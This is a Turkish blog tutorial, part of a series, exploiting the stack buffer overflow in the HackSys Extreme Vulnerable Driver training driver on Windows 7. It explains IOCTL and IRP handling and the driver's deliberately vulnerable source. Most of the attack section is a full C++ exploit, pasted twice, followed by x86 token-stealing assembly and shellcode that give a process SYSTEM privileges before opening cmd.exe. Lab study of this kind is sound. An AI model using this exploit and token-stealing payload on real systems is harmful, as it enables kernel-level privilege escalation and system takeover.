Windows Kernel Exploitation 4 - Stack tabanlı Bufferoverflow açığı
Windows Kernel Explotation ile ilgili olan yazı serimize kaldığımız yerden devam ediyorum. Seriyle ilgli yazılan ilk iki yazıda gerekli ortamın ve gerekli araçların hazırlanması, son yazı ise Token erişimi ve Shell code yazımı hakkında olmuştu. Bugünkü yazımız ise zaafiyet içerin sürücülerde yer alan stack tabanlı BufferOverFlow zaafiyeti ile ilgili olacak.
1- Windows Kernel Exploitation – Lab ortamını kurma ve ilk erişim
2- Windows Kernel Exploitation 2 – HEVD Kurulumu
3- Windows Kernel Exploitation 3 -Token Erişimi ve Shellcode yazımı
Kaynak Koda Bakış
Herşeye başlamadan önce ilk olarak HEVD tarafından bize sağlanan zaafiyetli kodlara gözatmamız bizim açımızdan yararlı olacaktır. ufferOverflowStack.c
kodlarına baktığımızda
`> // Bu modül, Yığın (stack) güvenlik açığında arabellek taşmasını gösteren fonksiyonları uygular
#include "BufferOverflowStack.h"
#ifdef ALLOC_PRAGMA
#pragma alloc_text(PAGE, TriggerBufferOverflowStack)
#pragma alloc_text(PAGE, BufferOverflowStackIoctlHandler)
#endif // ALLOC_PRAGMA
/// Yığın (stack) güvenlik açığında ara bellek taşmasını tetikleme
/// The pointer to user mode buffer
/// Size of the user mode buffer
/// NTSTATUS
__declspec(safebuffers)
NTSTATUS
TriggerBufferOverflowStack(
_In_ PVOID UserBuffer,
_In_ SIZE_T Size
)
{
NTSTATUS Status = STATUS_SUCCESS;
ULONG KernelBuffer[BUFFER_SIZE] = { 0 };
PAGED_CODE();
__try
{
// Ara belleğin kullanıcı modunda olup olmadığının doğrulanması
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
#ifdef SECURE
// Güvenlik Notu: Burada geliştirici KernelBuffer boyutuna eşit bir boyutu // RtlCopyMemory()/memcpy()'e ilettiği için güvenlidir. Dolayısıyla taşma olmayacaktır.
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
DbgPrint("[+] Triggering Buffer Overflow in Stack\n");
// Güvenlik açığı Notu: Geliştirici burada, kullanıcı tarafından sağlanan boyutun, KernelBuffer boyutundan daha büyük veya eşit olup-olmadığını doğrulamadan, direkt olarak RtlCopyMemory()/memcpy() öğesine ilettiği için vanilla Stack tabanlı bir taşma güvenlik açığıdır.
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
/// Buffer Overflow Stack Ioctl Handler
NTSTATUS
BufferOverflowStackIoctlHandler(
_In_ PIRP Irp,
_In_ PIO_STACK_LOCATION IrpSp
)
{
SIZE_T Size = 0;
PVOID UserBuffer = NULL;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
UNREFERENCED_PARAMETER(Irp);
PAGED_CODE();
UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength;
if (UserBuffer)
{
Status = TriggerBufferOverflowStack(UserBuffer, Size);
}
return Status;
}`
Kullanıcı (User) Modu ve Kernel (Çekirdek) Modu İletişimi
Kullanıcı Modu ile ilgili olarak; herhangi bir uygulama çalıştığı zaman, Windows tarafından her çalışan bir uygulama için işlem oluşturulur. Daha sonrasında bu işlemde çalışan uygulama için özel sanal adres (private virtual address) oluşturur. Bu oluşturulan özel adres alanları sadece bir uygulamaya ait olduğu içinde diğer uygulamalar tarafından değiştirilemez. Bu yüzden kullanıcı modunda çalışan bir uygulama crash olduğu zaman, sadece o uygulamayı etkiler. Ek bir bilgi olarakta bu mod içerisinde çalıştırılan uygulamalar için oluşturulan sanal adres alanları (virtual address space) limitli bir yapıya sahiptir. Çünkü buradaki amaç bütünlüğün dağılmasına önlem almak diyebiliriz.
Kernel Mode ile ilgili olarakta; kullanıcı modunun aksine burada herşey ile ilgili olarak tam olarak erişim mevcuttur (CPU, Hafıza, sürücüler..). Yine kullanıcı modunun tersi olarak herhangi bir özel sanal alan mevcut değildir. Tüm kodlar, kernel modda yer alan paylaşımlı tek bir sanal adres alanında çalışır. Eğer kernel mode çalışan bir uygulama crash olursa, tüm işletim sistemide crash olabiliyor. Burada ek olarak normalde sürücüler, kernel mode içerisinde yürütülür. Fakat bazı sürücülerin user mode içerisinde de çalışıyor. Bu yüzden bu tarz sürücüler user mode drivers olarak adlandırılıyor.
Yukarıda söz ettiğimiz gibi aygıt sürücüleri çekirdek modu nesneler olduğu için onlara doğrudan kullanıcı modundan erişemiyoruz. Bunun yerine sürücülerle doğrudan etkileşimler bulumabilmek için tutamaç (handle) dediğimiz yol ile bunu sağlarız. Buradaki tutamaçı object, pipe, file etc olarak düşünebiliriz. Kullanıcı modundan sürücülerle etkileşimle bulunmanın ilk amacı, bu tutamacı belirtilen sürücü aygıtına sembolik bir bağlantı aracılığıyla elde etmek olacaktır. Şuanki uğraştığımız paketlerdeki sembolik bağlantı da aygıt sürücüsü olan \HackSysExtremeVulnerableDriver
dir. Windows’da CreateFileA işlevinin lpFileName argumanında bir sürücünün sembolik bağlantısı belirtilerek çekirdek mod sürücüsüne bir tutamaç alınabilir. Örnek olarak aşağıdaki kod bloğuna bakabiliriz:
HANDLE CreateFileA(
LPCSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
);
Aygıt sürücüsünün tutamacısını (handle) aldıktan sonra RPS (I/O request packets)
aracılığıyla IOCTLs (I/O control codes)
ları kullanabiliriz.
Kullanıcı modunda çalışan uygulamaların, çekirdek modu sürücüleri ile iletişim kurmalarını sağlayan DeviceIoConotrol
adından bir WindowsAPI işlevi mevcuttur. Daha düşük bir seviyede bu işlev ise bir eylem gerçekleştirmek üzere belirtilen aygıt sürücüsüne bir kontrol kodu göndermek için kullanılır. Genellikle IOCTL kodları
farklı kod rütinlerine kod oluşturur. Zaafiyet araştırmacıları bazen güvenlik açığı bulunan kodu belirler ve hangi IOCTL kodunun onları güvenlik açığından etkilenen koda götüreceğimi görmek için bu adımları izlerler. Bir program düşününki birden fazla rutine veya fonksiyona sahip ve buradaki ICOTL bir ağ geçiti denetleyicisi
konumundadır bu yüzden IOCTL kodunun söz konusu rutine karşılık gelip-gelmediğine bağlı olarak kodla iletişime girmenize izin verebilecek veya vermeyecektir.
BOOL DeviceIoControl(
HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped
);
Yukarıdaki kod bloğuna baktığımızda ilk işlevin (function) bağımsız değişkeni, aygıt sürücüsü için elde edilen tanıcıtıya bir başvurudur.
Bu kontrol kodları veya eylemleri bir IRP (I/O Request Packet)
aracılığla belirtilen sürücüye gönderilir. IRP’ler bir eylemi gerçekleştirmek için gerekli tüm parametreleri içeren veri yapılarıdır. Aşağıda MS dökümanlarından alınan bir IRP yapısı mevcuttur:
typedef struct _IRP {
CSHORT Type;
USHORT Size;
PMDL MdlAddress;
ULONG Flags;
union {
struct _IRP *MasterIrp;
__volatile LONG IrpCount;
PVOID SystemBuffer;
} AssociatedIrp;
LIST_ENTRY ThreadListEntry;
IO_STATUS_BLOCK IoStatus;
KPROCESSOR_MODE RequestorMode;
BOOLEAN PendingReturned;
CHAR StackCount;
CHAR CurrentLocation;
BOOLEAN Cancel;
KIRQL CancelIrql;
CCHAR ApcEnvironment;
UCHAR AllocationFlags;
PIO_STATUS_BLOCK UserIosb;
PKEVENT UserEvent;
union {
struct {
union {
PIO_APC_ROUTINE UserApcRoutine;
PVOID IssuingProcess;
};
PVOID UserApcContext;
} AsynchronousParameters;
LARGE_INTEGER AllocationSize;
} Overlay;
__volatile PDRIVER_CANCEL CancelRoutine;
PVOID UserBuffer;
union {
struct {
union {
KDEVICE_QUEUE_ENTRY DeviceQueueEntry;
struct {
PVOID DriverContext[4];
};
};
PETHREAD Thread;
PCHAR AuxiliaryBuffer;
struct {
LIST_ENTRY ListEntry;
union {
struct _IO_STACK_LOCATION *CurrentStackLocation;
ULONG PacketType;
};
};
PFILE_OBJECT OriginalFileObject;
} Overlay;
KAPC Apc;
PVOID CompletionKey;
} Tail;
} IRP;
IOCTL kodu, IOCTL kodunu yöneten IRP_MJ_DEVICE_CONTROL belirtilerek MdlAddress üyesi aracılığyla yönetilir. Konumuz tam olarak Windows Internals olmadığı için buraya kadarki bilgilerin bizim işimize epey yarayacaktır. Başka bir zaman inşallah bununla ilgili olarak da başka bir yazı yayınlanmış olacağım.
Zaafiyet Analizi
Yazıya girişte BufferOverflowStack.c
ait kaynak kodları belirtmiştim. Şimdi oradan kesitlerle devam edeceğiz.
// <summary>
/// Buffer Overflow Stack Ioctl Handler
/// </summary>
/// <param name="Irp">The pointer to IRP</param>
/// <param name="IrpSp">The pointer to IO_STACK_LOCATION structure</param>
/// <returns>NTSTATUS</returns>
NTSTATUS
BufferOverflowStackIoctlHandler(
_In_ PIRP Irp,
_In_ PIO_STACK_LOCATION IrpSp
)
{
SIZE_T Size = 0;
PVOID UserBuffer = NULL;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
UNREFERENCED_PARAMETER(Irp);
PAGED_CODE();
UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength;
if (UserBuffer)
{
Status = TriggerBufferOverflowStack(UserBuffer, Size);
}
return Status;
}
Yukarıdaki kod parçacığında, koda başlamadan önce Buffer Overflow Stack Ioctl Handler adında bir yorum bırakılmış. Ve buradan anlışalacağı gibi bu bir IOCTL işleyicisidir. Yani bir IOCTL işleyicisi, verilen olan ICOTL rutini için tasarlanmış bir ICOTL kodunu kabul edecektir.
Diğer kod parçacıklarından birine daha detaylı baktığımızda;
DbgPrint("[+] Triggering Buffer Overflow in Stack\n");
//Güvenlik açığı Notu: Geliştirici burada, kullanıcı tarafından sağlanan boyutun, KernelBuffer boyutundan daha büyük veya eşit olup-olmadığını doğrulamadan, direkt olarak
RtlCopyMemory()/memcpy() öğesine ilettiği için vanilla Stack tabanlı bir taşma güvenlik açığıdır.
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
Burada yer alan RtlCopyMemory
, belleği bir hedef konuma kopyalan bir rutindir. Anlaşılacağı gibi ara bellek, gerçek bir boyutta herhangi bir doğrulama yapılmadan doğrudan belirtilen konuma kopyalanır.
Son olarak ise BufferOverflowStackIoctlHandler()
ve TriggerStackOverflow()
işlevleri arasında tam olarak neler olduğuna baktığımıza;
Doğru bir IOCTL kodu BufferOverflowStackIoctlHandler() işlevine dönüştürülürse eğer, bir UserBuffer
ve Size
parametresi kolayca kullanılabilir. Biri kullanıcı girişini (UserBuffer) kabul eder ve biri de kullanıcı tarafından sağlanan arabellek boyutunu (size) kabul eder.
Bu UserBuffer ve Size ile birlikte direkt olarak TriggerBufferOverflowStack()
işlevine kopyalanacaktır. Burada TriggerBufferOverflow() güvenlik açığını direkt olarak içeren bir yerdir. Bu işlev daha sonra kullanıcıdan gelen verileri herhangi bir boyutta alır ve RtlCopyMemory()
işlevi aracılığıyla doğrudan KernelBuffer parametresine kopyalar. KernelBuffer burada çekirdek mod içerisinde yer alır.
İncelemenin bu kısmına kadar anlaşıldığı gibi HEVD içinde bir yığın taşması durumu olduğunu biliyoruz.
IDA Pro ile analiz
İlgili serimin 2 yazısında Debugee adlı sanal makinemizde OSRLoader
adlında bir araç kullanmıştık. Bu araçla birlikte ise HEVD.sys
adlı bir dosyayı kullanmıştık. Şimdi bu dosyamızı IDA Pro
ile birlikte açıyoruz.
IDA Pro ile açtığımızda hemen sol tarafta Function Window içerisinde yer alan fonksiyonlara göz gezdiriyoruz. Burada IOCTLS
‘larla IRP
isteklerini işleyen IrpDeviceIoCtHandler
fonksiyonunu göreceksiniz. İlgili fonksiyona tıkladığımızda yukarıda gördiğünüz grafikte yer alan dallanmış-budaklanmış çok sayıda IOCTL görülecektir. Bunun sebebi ise bir IRP’nin isteğini yerine getirebilecek geçerli IOCTL’i bulana kadar devam etmesidir.
Grafikte biraz gözattığımızada BufferOverflowStackIoctlHandler işlevini rahatlıkla görebiliyoruz. Bu fonksiyona gelmeden önceki grafikte üst kısımda yer alan tarafta BufferOverflowStackIoctlHandler()’a referans veren kısım yukarıda yer almaktadır.
Referans veren kisma baktığımızda bu işlevin sonunda BufferOverflowStackIoctlHandler() referans vereceğini biliyourz. Yukaridaki kısmın son talimatına baktığımızda JA
‘yı görüyoruz. Biliyoruz ki bu talimat, yukarıdaki lea eax, ecx-0x222003h
talimatına atıfta bulunacaktır. Bu komut sıfır değeri verirse, sonunda IOCTL codumuzu yığın taşması koşulunun oluştuğu yere geçirecek olan BufferOverflowStackIoctlHandler()
‘a işlevine ulaştıracağız. Yani temel olarak IOCTL olarak 0x222003h değerini gönderirsek, savunmasız kod parçasıyla etkileşime geçebiliriz.
StackOverflowIoctlHandler()
işlevine baktığımızda, sonunda TriggerStackOverflow()
işlevine gideceğiz. Bu işlevde neler olduğuna baktığımızda:
Yukarıda görüldüğü gibi -800 bytes
(onluk sistemde 2048 yapar) KernelBuffer’ın uzunluğudur. Ancak kaynak kod analizlerinde olduğu gibi şunu da biliyoruz ki KernelBuffer
‘a kopyalanacak ara bellek boyut açısından denetlenemez. 2048 bytes
‘ın üzerinde herhangi bir değer verdiğimiz zaman çekirdek çökecek ve mavi ekran hatası ile karşılaşmış olacağız.
Shellcode Yazımı
Windows Kernel Exploitation 3 -Token Erişimi ve Shellcode yazımı
Zaafiyetle ilgili yazacağımız exploite geçmeden önce öncelikli olarak Shellcode’umuzu edinip, sonrasında ise derleyeceğiz ve elimize yaklaşık 2 Kb’lık bir dosya geçecek. Ortaya çıkan dosyayı HxD yardımıyla birlikte açıp, daha sonra Edit->Copy As
kısmına gelip -hangi dil ile yazmayı düşünüyorsanız- seçim işlemimizi yapıyoruz ve sonrasında exploit’e dahil edeceğiz.
0x60, 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x50, 0x89, 0xC1,
0xBA, 0x04, 0x00, 0x00, 0x00, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, 0x2D,
0xB8, 0x00, 0x00, 0x00, 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, 0x75, 0xED,
0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, 0x8B, 0xB9, 0xF8, 0x00, 0x00, 0x00,
0x83, 0xE2, 0xF8, 0x83, 0xE7, 0x07, 0x01, 0xFA, 0x89, 0x91, 0xF8, 0x00,
0x00, 0x00, 0x61, 0x31, 0xC0, 0x5D, 0xC2, 0x08, 0x00
Exploit Yazımı
Exploit kodumuz (c++)
aşağıda yer almaktadır.
#include <Windows.h>
#include <string.h>
#include <stdio.h>
#include "payload.h"
#define USE_INLINE
#define EIP_OFFSET 2080 //offset of the address in the buffer that will overwrite the EIP
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver";
HANDLE open_device(const char* device_name)
{
HANDLE device = CreateFileA(device_name,
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL
);
return device;
}
void close_device(HANDLE device)
{
CloseHandle(device);
}
BOOL send_ioctl(HANDLE device, DWORD ioctl_code)
{
LPVOID payload_ptr = NULL;
#ifdef USE_INLINE
printf("Using inline payload\n");
payload_ptr = &TokenStealingPayloadWin7;
#else
printf("Using shellcode payload\n");
//allocate executable memory for the shellcode:
LPVOID shellc_ptr = VirtualAlloc(0, sizeof(kShellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (shellc_ptr)
memcpy(shellc_ptr, kShellcode, sizeof(kShellcode));
payload_ptr = shellc_ptr;
#endif
if (payload_ptr == NULL) {
printf("[-] Payload cannot be NULL\n");
return FALSE;
}
const size_t bufSize = EIP_OFFSET + sizeof(DWORD);
char* lpInBuffer = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize);
RtlFillMemory(lpInBuffer, bufSize, 0x41);
DWORD* address_field = (DWORD*)(lpInBuffer + EIP_OFFSET);
*address_field = (DWORD)(payload_ptr);
DWORD size_returned = 0;
BOOL is_ok = DeviceIoControl(device,
ioctl_code,
lpInBuffer,
EIP_OFFSET + sizeof(DWORD),
NULL, //outBuffer -> None
0, //outBuffer size -> 0
&size_returned,
NULL
);
//release the input bufffer:
HeapFree(GetProcessHeap(), 0, (LPVOID)lpInBuffer);
#ifndef USE_INLINE
//release the memory with the shellcode:
if (shellc_ptr) {
VirtualFree(shellc_ptr, sizeof(kShellcode), MEM_RELEASE);
shellc_ptr = NULL;
}
#endif
return is_ok;
}
int main()
{
HANDLE dev = open_device(kDevName);
if (dev == INVALID_HANDLE_VALUE) {
printf("Failed to open the device! Is HEVD installed?\n");
system("pause");
return -1;
}
send_ioctl(dev, HACKSYS_EVD_IOCTL_STACK_OVERFLOW);
system("cmd.exe");
close_device(dev);
system("pause");
return 0;
}#include <Windows.h>
#include <string.h>
#include <stdio.h>
#include "payload.h"
#define USE_INLINE
#define EIP_OFFSET 2080 //offset of the address in the buffer that will overwrite the EIP
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver";
HANDLE open_device(const char* device_name)
{
HANDLE device = CreateFileA(device_name,
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL
);
return device;
}
void close_device(HANDLE device)
{
CloseHandle(device);
}
BOOL send_ioctl(HANDLE device, DWORD ioctl_code)
{
LPVOID payload_ptr = NULL;
#ifdef USE_INLINE
printf("Using inline payload\n");
payload_ptr = &TokenStealingPayloadWin7;
#else
printf("Using shellcode payload\n");
//allocate executable memory for the shellcode:
LPVOID shellc_ptr = VirtualAlloc(0, sizeof(kShellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (shellc_ptr)
memcpy(shellc_ptr, kShellcode, sizeof(kShellcode));
payload_ptr = shellc_ptr;
#endif
if (payload_ptr == NULL) {
printf("[-] Payload cannot be NULL\n");
return FALSE;
}
const size_t bufSize = EIP_OFFSET + sizeof(DWORD);
char* lpInBuffer = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize);
RtlFillMemory(lpInBuffer, bufSize, 0x41);
DWORD* address_field = (DWORD*)(lpInBuffer + EIP_OFFSET);
*address_field = (DWORD)(payload_ptr);
DWORD size_returned = 0;
BOOL is_ok = DeviceIoControl(device,
ioctl_code,
lpInBuffer,
EIP_OFFSET + sizeof(DWORD),
NULL, //outBuffer -> None
0, //outBuffer size -> 0
&size_returned,
NULL
);
//release the input bufffer:
HeapFree(GetProcessHeap(), 0, (LPVOID)lpInBuffer);
#ifndef USE_INLINE
//release the memory with the shellcode:
if (shellc_ptr) {
VirtualFree(shellc_ptr, sizeof(kShellcode), MEM_RELEASE);
shellc_ptr = NULL;
}
#endif
return is_ok;
}
int main()
{
HANDLE dev = open_device(kDevName);
if (dev == INVALID_HANDLE_VALUE) {
printf("Failed to open the device! Is HEVD installed?\n");
system("pause");
return -1;
}
send_ioctl(dev, HACKSYS_EVD_IOCTL_STACK_OVERFLOW);
system("cmd.exe");
close_device(dev);
system("pause");
return 0;
}
İkinci olarak Shellcode’umuzu oluştururken elde ettiğimiz değerlerle ilgili olarak payload.h
adında diğer bir dosyamızda yer alıyor.
#include <Windows.h>
/*
original payload by Ashfaq Ansari:
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Exploit/Payloads.c#L63
modified to preserve the reference counter
*/
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
__declspec(naked) VOID TokenStealingPayloadWin7() {
// Importance of Kernel Recovery
__asm {
pushad ; Save registers state
; Start of Token Stealing Stub
xor eax, eax ; Set ZERO
mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS:[0x124]
mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
mov edi, [ecx + TOKEN_OFFSET] ; Get current process token
and edx, 0xFFFFFFF8 ; apply the mask on SYSTEM process token, to remove the referece counter
and edi, 0x7 ; apply the mask on the current process token to preserve the referece counter
add edx, edi ; merge AccessToken of SYSTEM with ReferenceCounter of current process
mov [ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad ; Restore registers state
; Kernel Recovery Stub
xor eax, eax ; Set NTSTATUS SUCCEESS
pop ebp ; Restore saved EBP
ret 8 ; Return cleanly
}
}
unsigned char kShellcode[] = {
0x60, 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x50, 0x89, 0xC1,
0xBA, 0x04, 0x00, 0x00, 0x00, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, 0x2D,
0xB8, 0x00, 0x00, 0x00, 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, 0x75, 0xED,
0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, 0x8B, 0xB9, 0xF8, 0x00, 0x00, 0x00,
0x83, 0xE2, 0xF8, 0x83, 0xE7, 0x07, 0x01, 0xFA, 0x89, 0x91, 0xF8, 0x00,
0x00, 0x00, 0x61, 0x31, 0xC0, 0x5D, 0xC2, 0x08, 0x00
};
Visual Studio’da build ettikten sonra herhangi bir hata zinciri ile karşılaşmadığınız takdirde gerekli exe dosyasının oluşacaktır. Daha sonrasında exe dosyasını çalıştırdığımızda sistemde yetkili olduğumuzu göreceksiniz.
Bunun haricinde yukarıdaki görüntüde gördüğünüz üzere Debugger sanal makinemizde Windbg çıktısını da bu şekilde göreceksiniz.
Sabırla okuduğunuz için teşekkürler. Serinin bir sonraki yazısında görüşmek üzere.
Referanslar
1- hasherezade
2- MSDN